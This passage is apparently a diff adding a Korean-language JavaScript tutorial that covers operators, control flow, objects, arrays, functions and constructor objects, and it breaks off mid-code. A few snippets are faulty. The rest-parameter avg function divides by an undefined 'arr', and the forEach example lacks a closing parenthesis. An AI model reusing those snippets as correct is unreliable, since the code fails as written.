+<h2 id=".EC.97.B0.EC.82.B0.EC.9E.90_.28Operators.29" name=".EC.97.B0.EC.82.B0.EC.9E.90_.28Operators.29">연산자 (Operators)</h2>
+
+<p>JavaScript의 산술 연산자로는 <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code>, <code>%</code>(나머지 연산자)가 있습니다. 값은 <code>=</code> 연산자로 할당할 수 있고, <code>+=</code> 와 <code>-=</code>처럼 다른 연산자를 같이사용해서 할당할 수 있습니다. 이렇게 쓰인 연산자는 <code>x = x<em>연산자</em> y</code>와 같은 결과를 나타냅니다.</p>
+
+<pre class="brush: js notranslate">x += 5;
+x = x + 5;
+</pre>
+
+<p><code>++</code> 와 <code>--</code> 를 각각 점진적인 증가와 감소에 사용할 수 있습니다. 이들은 또한 전처리 또는 후처리 연산자로 사용될 수 있습니다.</p>
+
+<p><a href="ko/Core_JavaScript_1.5_Reference/Operators/String_Operators"><code>+</code> 연산자</a>는 문자열 이어붙이기도 합니다:</p>
+
+<pre class="brush: js notranslate">'hello' + ' world'; // "hello world"
+</pre>
+
+<p>문자열에 어떤 수 (또는 다른 값)를 더하면 일단 모두 문자열로 바뀌게 됩니다. 다음 예를 보시면 무슨 말씀인지 아실 수 있을겁니다:</p>
+
+<pre class="brush: js notranslate">'3' + 4 + 5;  // "345"
+ 3 + 4 + '5'; // "75"</pre>
+
+<p>빈 문자열에 어떤 값을 더하는 것은 해당 값을 문자열로 바꾸는 요령입니다.</p>
+
+<p>JavaScript에서 <a href="ko/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">비교</a>는 <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code> 와 <code>&gt;=</code> 를 통해 가능합니다. 이 연산자들은 문자열과 수 양쪽 모두에서 동작합니다. 상동은 약간 직관성이 떨어지는데 이중 등호 (<code>==</code>) 연산자는 서로 다른 타입을 줄 경우 타입 강제 변환을 수행하기 때문에 다음과 같이 때때로 기대하지 않은 결과를 내보내기 때문입니다:</p>
+
+<pre class="brush: js notranslate">123 == '123'; // true
+1 == true;    // true
+</pre>
+
+<p>타입 강제 변환을 하지 않게 하려면, 삼중 등호 연산자 (<code>===</code>)를 사용해야합니다:</p>
+
+<pre class="brush: js notranslate">123 === '123'; // false
+1 === true;    // false
+</pre>
+
+<p>이와 비슷하게 <code>!=</code> 와 <code>!==</code> 연산자가 있습니다.</p>
+
+<p>JavaScript는 값을 <a href="ko/Core_JavaScript_1.5_Reference/Operators/Bitwise_Operators">비트로 취급하는 연산자</a>도 가지고 있습니다. 사용하고 싶을 때 언제라도 사용할 수 있도록 말이죠.</p>
+
+<h2 id=".EC.A0.9C.EC.96.B4_.EA.B5.AC.EC.A1.B0" name=".EC.A0.9C.EC.96.B4_.EA.B5.AC.EC.A1.B0">제어 구조</h2>
+
+<p>JavaScript는 C 계열의 다른 언어들과 비슷한 제어 구조를 가지고 있습니다. 조건문은 <code>if</code> 와 <code>else</code>를 지원하는데, 원하시는대로 얼마든지 중첩 시켜서 사용할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var name = 'kittens';
+if (name == 'puppies') {
+  name += ' woof';
+} else if (name == 'kittens') {
+  name += ' meow';
+} else {
+  name += '!';
+}
+name == 'kittens meow';
+</pre>
+
+<p>JavaScript는 <code>while</code> 반복문과 <code>do-while</code> 반복문도 사용할 수 있습니다. 첫번째 것은 단순 반복에 유용하게 사용할 수 있고, 두번째 것은 반복문이 반드시 적어도 한번이상 실행 되도록 하고 싶을 때 사용할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">while (true) {
+  // 무한루프!
+}
+
+var input;
+do {
+  input = get_input();
+} while (inputIsNotValid(input));
+</pre>
+
+<p>JavaScript의 <code>for</code> 반복문은 C 와 Java의 반복문과 같습니다. 말하자면, 반복문에 필요한 제어 정보를 한 줄에 표현할 수 있다는 이야기지요.</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; 5; i++) {
+  // 내부 동작을 5번 반복합니다
+}
+</pre>
+
+<p>JavaScript에는 두개의 중요한 for 반복문 또한 포함됩니다. 첫번째로 <a href="/ko/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a> 입니다.</p>
+
+<pre class="brush: js notranslate">for (let value of array) {
+  // value로 작업을 실행합니다
+}
+</pre>
+
+<p>그리고 <a href="/ko/docs/Web/JavaScript/Reference/Statements/for...in">for ... in</a> 입니다.</p>
+
+<pre class="brush: js notranslate">for (let property in object) {
+  // object의 항목(property)으로 작업을 실행합니다
+}
+</pre>
+
+<p><code>&amp;&amp;</code> 와 <code>||</code> 연산자는 첫번째 식을 평가한 결과에 따라서 두번째 식을 평가를 실행하는 단축평가(short-circuit) 논리를 사용합니다. 이는 다음과 같이 객체에 접근하기 전에 null 객체인지, 아닌지를 검사하는데 유용하게 사용될 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var name = o &amp;&amp; o.getName();
+</pre>
+
+<p>또는 (틀린값이 유효하지 않은 값일때) 캐싱 값에 대해서도 사용합니다.:</p>
+
+<pre class="brush: js notranslate">var name = cachedName || (cachedName = getName());
+</pre>
+
+<p>JavaScript는 한줄로 조건문을 쓸 수 있게 해주는 삼중 연산자도 가지고 있습니다:</p>
+
+<pre class="brush: js notranslate">var allowed = (age &gt; 18) ? "yes" : "no";
+</pre>
+
+<p><code>switch</code> 문은 숫자나 문자열을 기반으로 다중 분기되는 문장을 작성하는데 사용될 수 있습니다:</p>
+
+<pre class="brush: js notranslate">switch(action) {
+    case 'draw':
+        drawIt();
+        break;
+    case 'eat':
+        eatIt();
+        break;
+    default:
+        doNothing();
+}
+</pre>
+
+<p><code>break</code> 문장을 추가하지 않았다면, 다음 단계로 "넘어가서" 실행합니다. 이렇게 되는 것을 기대하는 것은 매우 드문경우 입니다. 실은 디버깅하는데 용이하도록 하기위해 주석으로서 일부러 붙여놓은 넘어가기 이름표 입니다:</p>
+
+<pre class="brush: js notranslate">switch(a) {
+    case 1: // fallthrough
+    case 2:
+        eatIt();
+        break;
+    default:
+        doNothing();
+}
+</pre>
+
+<p>default 구문의 적용은 선택사항입니다. switch와 case 부분에서 둘다 표현식을 사용할 수도 있습니다. switch부분과 case 부분의 표현식은  <code>===</code> 연산자로 비교됩니다.</p>
+
+<pre class="brush: js notranslate">switch(1 + 3){
+    case 2 + 2:
+        yay();
+        break;
+    default:
+        neverhappens();
+}
+</pre>
+
+<h2 id=".EA.B0.9D.EC.B2.B4_.28Objects.29" name=".EA.B0.9D.EC.B2.B4_.28Objects.29">객체 (Objects)</h2>
+
+<p>JavaScript 객체는 간단히 이름-값 쌍(name-value pairs)의 모임입니다. 그렇기 때문에, JavaScript의 객체의 모임은 다음과 비슷하다고 할 수 있습니다:</p>
+
+<ul>
+ <li>Python의 Dictionaries</li>
+ <li>Perl 과 Ruby의 Hashes</li>
+ <li>C 와 C++ 의 Hash tables</li>
+ <li>Java 의 HashMaps</li>
+ <li>PHP의 Associative arrays</li>
+</ul>
+
+<p>이 데이터 구조가 매우 광범위하게 사용된다는 사실은 활용 방도가 다양함을 입증합니다. JavaScript내 모든 것 (코어 타입들은 제외)은 객체로 취급되기 때문에 어떤 JavaScript 프로그램도 기본적으로 해쉬 테이블을 검색하는데 필요한 출중한 성능을 가지고 있습니다. 매우 빠르기 때문에 장점이 됩니다!</p>
+
+<p>값은 객체를 포함하여 아무 JavaScript 값이 될 수 있는 반면, "이름" 부분은 JavaScript 문자열 입니다. 이는 무작위적인 복잡성을 가지는 데이터 구조를 만들 수 있도록 해줍니다.</p>
+
+<p>빈 객체를 생성하는데 두가지 방법이 있습니다:</p>
+
+<pre class="brush: js notranslate">var obj = new Object();
+</pre>
+
+<p>와:</p>
+
+<pre class="brush: js notranslate">var obj = {};
+</pre>
+
+<p>이들은 의미적으로 동치입니다. 두번째 방법은 객체 리터럴 구문이라고 부르며 더 편리합니다. 객체 리터럴 구문은 JSON 구문의 핵심이며 이 방법을 사용한 코드를 더 많이 볼 수 있습니다.</p>
+
+<p>객체 리터럴 구문으로 객체의 전체적인 구조를 초기화 할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var obj = {
+    name: "Carrot",
+    "for": "Max",
+    details: {
+        color: "orange",
+        size: 12
+    }
+}
+</pre>
+
+<p>속성에 연속적으로 접근할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">obj.details.color; // orange
+obj["details"]["size"]; // 12
+</pre>
+
+<p>아래 예제는 객체 프로토타입(<code>Person</code>)과 프로토타입의 인스턴스(<code>you</code>)를 생성합니다.</p>
+
+<pre class="brush: js notranslate">function Person(name, age) {
+  this.name = name;
+  this.age = age;
+}
+
+// 객체를 정의한다
+var you = new Person('You', 24);
+// "You"라는 이름의 24세인 새로운 사람을 생성중이다.
+</pre>
+
+<p><strong>일단 생성되면</strong>, 객체의 속성에 다음의 두가지 방법들 중 한가지로 접근할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">// dot 표기법
+obj.name = "Simon"
+var name = obj.name;
+</pre>
+
+<p>그리고...</p>
+
+<pre class="brush: js notranslate">// bracket 표기법
+obj["name"] = "Simon";
+var name = obj["name"];
+// key를 정의하기 위해 변수도 쓸수 있습니다.
+var user = prompt('what is your key?')
+obj[user] = prompt('what is its value?')
+</pre>
+
+<p>이들은 의미적으로 역시 같습니다. 두번째 방법은 속성의 이름이 실행시간(run-time)에 계산될 수 있는 문자열로 주어집니다. 하지만 이방법을 사용하면 일부 JavaScript엔진과 압축기 최적화(minifier optimizations)를 적용할수 없습니다.또한 <a href="ko/Core_JavaScript_1.5_Reference/Reserved_Words">예약된 단어(키워드)</a>로 되어있는 이름으로 객체의 속성을 설정하거나 얻어낼 수 있습니다:</p>
+
+<pre class="brush: js notranslate">obj.for = "Simon"; // 구문 오류, for 가 예약된 단어(키워드)이기 때문에
+obj["for"] = "Simon"; // 정상 동작
+</pre>
+
+<div class="blockIndicator note">
+<p>ECMAScript 5 이래로, 예약어는  객체 항목의 이름으로 "덧붙임없이" 사용할수도 있습니다. 이말은 객체 리터럴을 정의할때 따옴표로 "둘러쌀" 필요가 없다는 의미입니다.  ES5 <a href="http://es5.github.io/#x7.6.1">Spec</a>을 참고해 보십시오.</p>
+</div>
+
+<p>객체나 프로토타입에 대한 좀더 상세한 내용은 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a> 을 참조하십시오. 객체 프로토타입과 객체 프로토타입 체인에 대한 설명은 <a href="/ko/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">상속과 프로토타입 체인</a> 을 참조하십시오.</p>
+
+<div class="blockIndicator note">
+<p>ECMAScript 2015 이래로, 객체의 key는 생성시의 대괄호 표기법(bracket notation)으로 정의될수 있습니다. 그냥 <code>var userPhone = {}; userPhone[phoneType] = 12345</code>. 처럼 표기하는 방법 대신 <code>{[phoneType]: 12345}</code> 와 같은 사용법도 가능합니다.</p>
+</div>
+
+<h2 id=".EB.B0.B0.EC.97.B4_.28Arrays.29" name=".EB.B0.B0.EC.97.B4_.28Arrays.29">배열 (Arrays)</h2>
+
+<p>JavaScript에서 배열은 실제로는 특별한 타입의 객체입니다. (숫자로 나타낸 속성은 자연스럽게 [] 구문만을 사용해서 접근하게 되므로) 일반 객체와 많이 비슷하게 동작하지만, 이 객체는 '<code>length</code>'라는 한가지 마법적인 속성을 가집니다. 이는 항상 배열에서 가장 큰 인덱스보다 하나 더 큰 값으로 존재합니다.</p>
+
+<p>배열을 생성하는 예전 방법은 다음과 같습니다:</p>
+
+<pre class="brush: js notranslate">var a = new Array();
+a[0] = "dog";
+a[1] = "cat";
+a[2] = "hen";
+a.length // 3
+</pre>
+
+<p>한가지 더 편리한 배열 표현 방법은 배열 리터럴을 사용하는 것입니다:</p>
+
+<pre class="brush: js notranslate">&gt; var a = ["dog", "cat", "hen"];
+&gt; a.length
+3
+</pre>
+
+<p>배열 리터럴 끝에 콤마(",")를 꼬리로 남겨두는 것은 브라우저마다 다르게 처리하므로 그렇게 하지는 마시기 바랍니다.</p>
+
+<p><code>array.length</code> 는 배열에 들어있는 항목의 수를 반드시 반영하지는 않는다는 점을 주의하시기 바랍니다. 다음과 같은 경우를 고려해보겠습니다:</p>
+
+<pre class="brush: js notranslate">&gt; var a = ["dog", "cat", "hen"];
+&gt; a[100] = "fox";
+&gt; a.length
+101
+</pre>
+
+<p>기억해두세요 - 배열의 length 속성은 최대 인덱스에 하나를 더한 값일 뿐입니다.</p>
+
+<p>존재하지 않는 배열 인덱스를 참조하려고하면 다음과 같이 <code>undefined</code> 을 얻게됩니다:</p>
+
+<pre class="brush: js notranslate">&gt; typeof(a[90])
+undefined
+</pre>
+
+<p><code>[]</code> 와 <code>length</code>에 관한 위의 사항들을 감안하면 배열을 <code>for</code> 반복문으로 처리할 때 다음과 같은 방법으로 처리하실 수 있을 것입니다:</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; a.length; i++) {
+    // a[i] 로 뭔가를 수행
+}
+</pre>
+
+<p>ES2015는 배열과 같은 이터러블 객체를 위해 좀더 간결한 for...of 루프를 소개했습니다.</p>
+
+<pre class="brush: js notranslate">for (const currentValue of a) {
+    // currentValue 로 뭔가를 수행
+}</pre>
+
+<p>또한 for...in 루프를 이용하여 배열에 루프를 돌릴수도 있지만, 이 방법은 배열 요소를 반복하는게 아니라 배열 인덱스를 반복합니다. 뿐만 아니라, 누군가 <code>Array.prototype</code>에 새로운 속성을 추가하면, 그 속성들 또한 이런 루프로 반복됩니다. 따라서 이런 반복 형태는 배열에는 추천되지 않습니다.</p>
+
+<p>배열에 대한 또다른 반복방법은 ECMAScript 5에 추가된 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a> 입니다:</p>
+
+<pre class="brush: js notranslate">['dog', 'cat', 'hen'].forEach(function(currentValue, index, array) {
+    // currentValue나 array[index]로 뭔가를 수행
+}
+</pre>
+
+<p>배열에 항목 하나를 추가하길 원한다면 이렇게 하면 됩니다:</p>
+
+<pre class="brush: js notranslate">a.push(item);</pre>
+
+<p>배열은 몇가지 메서드가 제공됩니다. <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array">배열 메서드에 대한 전체 문서</a>를 참조하십시오.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">메서드 이름</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>a.toString()</code></td>
+   <td>각 항목에 대한 <code>toString()</code>의 출력이 콤마로 구분된 한개의 문자열을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.toLocaleString()</code></td>
+   <td>각 항목에 대한 <code>toLocaleString()</code>의 출력이 콤마로 구분된 한개의 문자열을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.concat(item1[, item2[, ...[, itemN]]])</code></td>
+   <td>item들이 덧붙여진 한개의 배열을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.join(sep)</code></td>
+   <td>배열의 값들을 <code>sep</code> 인자로 구분하여 합친 한개의 문자열로 변환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.pop()</code></td>
+   <td>배열의 마지막 항목을 반환하면서 제거합니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.push(item1, ..., itemN)</code></td>
+   <td>배열의 끝에 item들을 덧붙입니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.shift()</code></td>
+   <td>배열의 첫번째 항목을 반환하면서 제거합니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.unshift(item1[, item2[, ...[, itemN]]])</code></td>
+   <td>배열의 앞쪽에 item들을 덧붙입니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.slice(start[, end])</code></td>
+   <td>배열의 일부분을 새배열로 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.sort([cmpfn])</code></td>
+   <td>옵션으로 비교용도의 함수를 입력받습니다.</td>
+  </tr>
+  <tr>
+   <td><code>a.splice(start, delcount[, item1[, ...[, itemN]]])</code></td>
+   <td>배열의 일부분을 제거하고 다른 항목으로 대체하여 배열을 변경합니다..</td>
+  </tr>
+  <tr>
+   <td><code>a.reverse()</code></td>
+   <td>배열의 순서를 거꾸로 배열합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id=".ED.95.A8.EC.88.98_.28Functions.29" name=".ED.95.A8.EC.88.98_.28Functions.29">함수 (Functions)</h2>
+
+<p>객체와 마찬가지로, 함수는 JavaScript를 이해하는데 핵심이 되는 컴포넌트입니다. 가장 기본적인 함수의 예는 다음과 같습니다:</p>
+
+<pre class="brush: js notranslate">function add(x, y) {
+    var total = x + y;
+    return total;
+}
+</pre>
+
+<p>이 예는 기본 함수에 대해 알아야 할 모든 것을 보여주고 있습니다. JavaScript 함수는 0 이상의 이름이 있는 매개변수를 가질 수 있습니다. 함수의 본체는 갯수 제한없이 구문을 포함할 수 있고 해당 함수에 지역적으로 변수를 보유하도록 선언할 수 있습니다. <code>return</code> 문은 언제나 값을 돌려주고 함수의 실행을 끝내는데 사용될 수 있습니다. 리턴 문이 없으면 (혹은 값이 없는 리턴이 사용되면), JavaScript는 <code>undefined</code>을 돌려줍니다.</p>
+
+<p>이름 붙여진 매개변수들은 다른 어떤 것보다도 해당 함수가 어떤 함수인지 설명해주는 좋은 역할을 할 수 있습니다. 해당 함수가 원하는 매개변수를 주지않고 함수를 호출할 수 있지만 그럴 경우 해당 변수들은 <code>undefined</code>로 설정됩니다.</p>
+
+<pre class="brush: js notranslate">add(); //NaN
+// undefined에 대해 덧셈을 수행할 수 없습니다
+</pre>
+
+<p>함수가 기대하는 원래의 매개변수보다 많은 매개변수를 넘겨줄 수도 있습니다:</p>
+
+<pre class="brush: js notranslate">add(2, 3, 4); // 5
+// 처음의 두 수가 더해집니다. 4는 무시됨
+</pre>
+
+<p>이 예는 조금 어리석어 보이지만, 함수는 추가적으로 주어진 매개변수를 함수 내부에서 접근할수 있습니다. 이 객체는 <a href="ko/Core_JavaScript_1.5_Reference/Functions/arguments"><code>arguments</code></a>라고 하며, 해당 함수에  매개변수로 넘겨진 모든 값을 가지고 있는 배열과 비슷한 객체입니다. 우리가 원하는만큼 값을 취하는 add 함수를 다시 써보겠습니다:</p>
+
+<pre class="brush: js notranslate">function add() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum;
+}
+
+add(2, 3, 4, 5); // 14
+</pre>
+
+<p>확실히 <code>2 + 3 + 4 + 5</code>를 직접쓰는 것보다 유용한 함수는아닙니다. 평균계산 함수를 만들어 보겠습니다:</p>
+
+<pre class="brush: js notranslate">function avg() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+</pre>
+
+<p>이건 매우 유용합니다만, 좀 번잡해보입니다. 코드 크기를 다소 줄이기 위해, arguments 배열의 사용을 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest 파라미터 문법</a>으로 대체해볼 필요가 있습니다. 이 방법으로, 코드 크기는 최소한으로 유지 하면서, 갯수 제한없이 함수로 인자를 전달할수 있습니다. <strong>Rest 파라미터 연산자</strong>는 다음과 같은 포맷(<strong>...variable</strong>)으로 함수 파라미터 목록에 사용됩니다. 이 varaible 인자는 함수가 호출될때 전달되는 모든 인자를 포함합니다. variable 인자에서 반환되는 값을 사용하기 위해 위 코드에서 <strong>for</strong> 루프를 <strong>for..of</strong> 루프로 변경합니다.</p>
+
+<pre class="brush: js notranslate">function avg(...args) {
+    var sum = 0;
+    for (let value of args) {
+        sum += value;
+    }
+    return sum / arr.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+</pre>
+
+<div class="blockIndicator note">
+<p>위 코드에서,변수 <strong>args</strong> 는 함수로 전달된  모든 값을 가지고 있습니다.<br>
+ <br>
+ rest 파라미터 연산자가 함수 선언의 어느곳에 위치하든 선언 위치<em> 이후</em>에 모든 인자를 저장하는것이며, 이전이 아니라는 것이 중요합니다. 즉 ,<em> function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>에서 함수로 전달된 첫번째 값은 <strong>firstValue </strong>변수에 저장되며, 남은 변수들은 <strong>args</strong>에 저장됩니다.</p>
+</div>
+
+<p>이건 또다른 유용한 언어 특성입니다만 우리를 새로운 문제점으로 인도합니다. <code>avg()</code> 함수는 콤마로 구분된 인자목록을 받지만, 배열의 평균을 알고싶은 경우라면요? 함수를 다음과 같이 재작성 하면 됩니다 :</p>
+
+<pre class="notranslate">function avgArray(arr) {
+  var sum = 0;
+  for (var i = 0, j = arr.length; i &lt; j; i++) {
+    sum += arr[i];
+  }
+  return sum / arr.length;
+}
+
+avgArray([2, 3, 4, 5]); // 3.5</pre>
+
+<p>하지만 우리가 이미 만든 함수를 다시 사용할 수 있다면 좋을 것입니다. 운이 좋게도 JavaScript는 함수 객체라면 모두 가지게 되는 <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply"><code>apply()</code></a> 메소드를 사용해서 임의의 매개변수 배열을 함수에 넘겨줄 수 있습니다.</p>
+
+<pre class="brush: js notranslate">&gt; avg.apply(null, [2, 3, 4, 5])
+3.5
+</pre>
+
+<p><code>apply()의 </code>두번째 매개변수는 '매개변수들'로 사용하고자 하는 배열입니다. 첫번째 매개변수는 나중에 설명하도록 하겠습니다. 이는 함수가 역시 객체임을 명확히 해주는 사실입니다.</p>
+
+<div class="blockIndicator note">
+<p>함수 호출시 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Spread_operator">전개 연산자(spread operator)</a> 를 이용하여 똑같은 결과를 얻을수 있습니다.</p>
+
+<p>예를 들면: <code>avg(...numbers)</code></p>
+</div>
+
+<p>JavaScript는 익명의 함수를 만들 수 있도록 허용하고 있습니다.</p>
+
+<pre class="brush: js notranslate">var avg = function() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+</pre>
+
+<p>이것은 의미적으로 <code>function avg()</code> 형식과 같습니다. 이 특징은 매우 강력한데, 일반적인 표현식(expression)을 사용할 수있는 어디에서나 완전한 함수 정의를 넣을 수 있도록 허용하는 것이기 때문입니다. 이 특징은 다양한 요령을 부릴 수 있게합니다. 다음 예는 C에서 블록 유효 범위를 적용 시킨 것 처럼 지역 변수를 "숨기는" 요령을 보여줍니다:</p>
+
+<pre class="brush: js notranslate">var a = 1;
+var b = 2;
+
+(function() {
+    var b = 3;
+    a += b;
+})();
+
+a; // 4
+b; // 2
+</pre>
+
+<p>JavaScript는 재귀적으로 함수를 부를 수 있습니다. 이는 브라우저 DOM 등에서 볼수 있는 트리 구조를 다루는데 유용합니다.</p>
+
+<pre class="brush: js notranslate">function countChars(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += countChars(child);
+  }
+  return count;
+}
+</pre>
+
+<p>다음의 예는 익명 함수를 사용함에 있어 잠재적인 문제점을 보여줍니다: 이름이 없으면 어떻게 재귀적으로 부를 수 있을까요? JavaScript는 함수 표현식을 이렇게 이름붙이도록 지원합니다. 이름붙은 IIFEs (Immediately Invoked Function Expressions: 즉시 실행 함수 표현) 를 다음과 같이 사용할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var charsInBody = (function counter(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += counter(child);
+  }
+  return count;
+})(document.body);
+</pre>
+
+<p>위와 같이 함수 표현식에 제공된 이름은 함수 자체 범위에서만 유효합니다. 이 특징은 엔진에 의한 최적화뿐만 아니라 코드 가독성을 높이는데 도움을 줍니다. 이 이름은 디버거와 스택 추적에서도 나타나므로 디버깅시간을 줄일수 있게합니다.</p>
+
+<p>JavaScript 함수는 - JavsScript 내의 다른 모든 것들과 마찬가지로 -  그 자체가 객체이며, 객체 섹션에서 이미 확인한 것처럼, 속성을 추가하거나 변경할수 있다는 점을 명심하십시오</p>
+
+<h2 id=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.A0.95.EC.9D.98_.EA.B0.9D.EC.B2.B4" name=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.A0.95.EC.9D.98_.EA.B0.9D.EC.B2.B4">사용자 정의 객체</h2>
+
+<div class="blockIndicator note">
+<p>JavaScript에서 객체 지향 프로그래밍에 대한 더 자세한 논의는 <a href="/ko/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">객체 지향 JavaScript 소개</a>를 참조하십시오.</p>
+</div>
+
+<p>고전 객체지향 프로그래밍에서 객체는 데이터와 해당 데이터들을 다루는 메소드의 집합이었습니다. JavaScript는 프로토타입 기반 언어로, C++ 이나 Java에서 발견할 수 있는 class 구문이 없습니다(이런 이유로 class 구문에 익숙한 프로그래머들이 때때로 혼란을 경험합니다). 그 대신, JavaScrip는 function을 class로 사용합니다. 이름과 성을 필드로 가지고 있는 'person' 객체를 고려해보도록 합시다. 이름을 표시하는 두가지 방법이 있을 수 있습니다. 예를 들어, "이름 성" 또는 "성, 이름" 이런 식으로 말이죠. 이전에 다룬 함수와 객체를 사용해서 이를 표현하면 다음과 같습니다:</p>
+
+<pre class="brush: js notranslate">function makePerson(first, last) {
+  return {
+    first: first,
+    last: last
+  }
+}
+function personFullName(person) {
+  return person.first + ' ' + person.last;
+}
+function personFullNameReversed(person) {
+  return person.last + ', ' + person.first
+}
+
+var s = makePerson("Simon", "Willison");
+personFullName(s); // "Simon Willison"
+personFullNameReversed(s); // "Willison, Simon"
+</pre>
+
+<p>이렇게 하면 작동하긴 하지만, 보기 안좋습니다. 이런 방법이라면 전역 이름공간(global namespace)에 관련 함수가 너무 많아집니다. 정말 우리에게 필요한 것은 객체에 함수를 붙여놓는 것입니다. 함수는 객체이기 때문에 이건 별로 어렵지 않습니다.</p>
+
+<pre class="brush: js notranslate">function makePerson(first, last) {
+  return {
+    first: first,
+    last: last,
+    fullName: function() {
+      return this.first + ' ' + this.last;
+    },
+    fullNameReversed: function() {
+      return this.last + ', ' + this.first;
+    }
+  };
+}
+
+var s = makePerson('Simon', 'Willison');
+s.fullName(); // "Simon Willison"
+s.fullNameReversed(); // "Willison, Simon"
+</pre>
+
+<p><code><a href="ko/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator">this</a></code> 키워드에 주목해 주십시오. 함수 안쪽에서 사용되면서, <code>this</code>는 현재 객체를 참조합니다. 그것이 실제로 의미하는 바는 당신이 부른 바로 그 함수를 지정하는 것입니다. 객체에서 <a href="ko/Core_JavaScript_1.5_Reference/Operators/Member_Operators">dot 표기법이나 bracket 표기법</a>을 사용해서 부른 경우, 해당 객체는 <code>this</code>가 됩니다. 해당 호출에서 dot 표기법을 사용하지 않은 경우, <code>this</code>는 전역 객체를 참조하게 됩니다.</p>
+
+<p><code>this</code>가 실수의 잦은 원인이 된다는 것을 명심하십시오 . 예를 들면:</p>
+
+<pre class="brush: js notranslate">var s = makePerson('Simon', 'Willison');
+var fullName = s.fullName;
+fullName(); // undefined undefined
+</pre>
+
+<p><code>s.fullName()</code>을 이용하지 않고 <code>fullName()</code>을 단독으로 호출하면, '<code>this</code>'는 전역 객체로 묶이게(bind) 됩니다. <code>first</code> 또는 <code>last</code> 로 명명된 전역 변수가 없기 때문에, 각각에 대해 <code>undefined</code> 결과를 얻게됩니다.</p>
+
+<p><code>makePerson</code> 함수를 개선하는데 '<code>this</code>' 키워드의 이점을 취할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">function Person(first, last) {
+  this.first = first;
+  this.last = last;
+  this.fullName = function() {
+    return this.first + ' ' + this.last;
+  };
+  this.fullNameReversed = function() {
+    return this.last + ', ' + this.first;
+  };
+}
+var s = new Person('Simon', 'Willison');
+</pre>
+
+<p>여기서 <code><a href="ko/Core_JavaScript_1.5_Reference/Operators/Special_Operators/new_Operator">new</a></code>라는 또다른 키워드를 도입했습니다. <code>new</code>는 <code>this</code>와 깊게 연관되어 있습니다. 새로운 빈 객체를 만든 다음 지정된 함수를 불러 새로운 객체를 <code>this</code> 에 설정합니다. <code>this</code>로 지정된 함수는 값을 반환하지 않고 단지 <code>this</code> 객체를 수정한다는 것을 명심하세요. <code>this</code> 객체를 호출하는 곳으로 반환하는 것은  <code>new</code> 입니다. '<code>new</code>' 에 의해 호출되도록 설계된 함수는 컨스트럭터 함수라고 불립니다. 일반적으로 이러한 함수의 첫자를 대문자로 써서 <code>new</code>로 불릴 컨스트럭터 함수임을 나타냅니다.</p>
+
+<p>개선된 함수는 여전히 <code>fullName()</code> 을 단독으로 호출할 때의 함정이 존재합니다.</p>
+
+<p>우리의 person 객체가 점점 개선되고 있지만, 아직 좀 보기 안좋은 면이 있습니다. 매번 person 계열의 객체를 만들 때마다 내부에서 2개의 새로운 함수 객체를 만들고 있습니다. 이 코드가 객체간에 공유된다면 더 낫지 않을까요?</p>
+
+<pre class="brush: js notranslate">function personFullName() {
+  return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+  return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+  this.first = first;
+  this.last = last;
+  this.fullName = personFullName;
+  this.fullNameReversed = personFullNameReversed;
+}
+</pre>
+
+<p>더 좋아 보이네요: 메소드 함수를 한번만 만들고, 컨스트럭터 내에 해당 메소드들을 참조하도록 할당합니다. 이보다 더 개선 할 수 있을까요? 네, 그렇게 할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">function Person(first, last) {
+  this.first = first;
